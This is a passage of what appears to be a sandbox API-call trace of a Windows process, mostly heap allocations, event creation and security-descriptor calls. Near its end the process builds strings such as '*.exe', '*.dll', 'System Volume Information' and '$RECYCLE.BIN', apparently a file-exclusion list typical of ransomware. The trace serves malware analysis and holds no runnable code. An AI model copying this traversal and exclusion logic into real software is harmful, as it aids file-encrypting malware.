Flags=0x8, Size=0x80) returned 0x22fb8d8 [0025.864] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fb960 [0025.864] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc4c8 [0025.864] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fb9e8 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fba70 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3f0 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbaf8 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc3a8 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x5000) returned 0x21d0048 [0025.865] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.865] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc360) returned 1 [0025.865] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0025.869] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d0048) returned 1 [0025.869] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5ccee8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0025.869] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.869] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0025.869] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc360) returned 1 [0025.869] GetLastError () returned 0x0 [0025.870] LocalFree (hMem=0x5ccee8) returned 0x0 [0025.870] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc360 [0025.870] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x5000) returned 0x21d0048 [0025.870] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc318 [0025.870] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc318) returned 1 [0025.870] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0025.870] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d0048) returned 1 [0025.870] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5ccee8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0025.870] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc318 [0025.870] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0025.870] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc318) returned 1 [0025.871] GetLastError () returned 0x0 [0025.871] LocalFree (hMem=0x5ccee8) returned 0x0 [0025.871] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc318 [0025.871] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x5000) returned 0x21d0048 [0025.871] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.871] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc2d0) returned 1 [0025.871] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0025.871] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d0048) returned 1 [0025.871] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x5ccee8, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0025.871] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.871] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0025.871] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc2d0) returned 1 [0025.871] GetLastError () returned 0x0 [0025.871] LocalFree (hMem=0x5ccee8) returned 0x0 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d0048 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbb80 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc2d0 [0025.872] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d2850 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2d8) returned 1 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2850) returned 1 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d2850 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.872] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd600 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2b8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2a8 [0025.872] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2d8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2c8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1b0) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2b8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc168) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2a8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd600) returned 1 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd600 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2a8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2b8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2c8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2d8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.873] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc168) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2a8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1b0) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2b8) returned 1 [0025.873] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd600) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2850) returned 1 [0025.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fd9d0 [0025.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1f8, cbMultiByte=5, lpWideCharStr=0x22fd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fda58 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd9d0) returned 1 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd600 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2b8 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fd9d0 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fda58) returned 1 [0025.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fda58 [0025.874] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc288, cbMultiByte=5, lpWideCharStr=0x22fda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fdae0 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fda58) returned 1 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2a8 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fda58 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fdae0) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2d8) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2c8) returned 1 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d2850 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.874] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.874] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd298 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x22fbc08 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd278 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd268 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.875] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd258 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x21d5058 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd248 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc5e8 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd238 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc630 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd228 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc678 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd218 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc6c0 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd208 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc708 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1e8 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc750 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd1f8 [0025.875] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc798 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1f8) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2c8) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc1b0) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2d8) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc168) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd298) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd288) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd278) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd268) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd258) returned 1 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbc08) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd258 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd268 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd278 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd288 [0025.876] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x20) returned 0x22fbc08 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd298 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc168 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2d8 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1b0 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd2c8 [0025.877] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc1f8 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc5e8) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd248) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc630) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd238) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc678) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd228) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc6c0) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd218) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc708) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd208) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc750) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd1e8) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc798) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd1f8) returned 1 [0025.877] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d5058) returned 1 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1f8, cbMultiByte=25, lpWideCharStr=0x22fdae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc1b0, cbMultiByte=12, lpWideCharStr=0x22fdb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc168, cbMultiByte=8, lpWideCharStr=0x22fdbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0025.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0025.877] MultiByteToWideChar (in: CodePage=0x0, 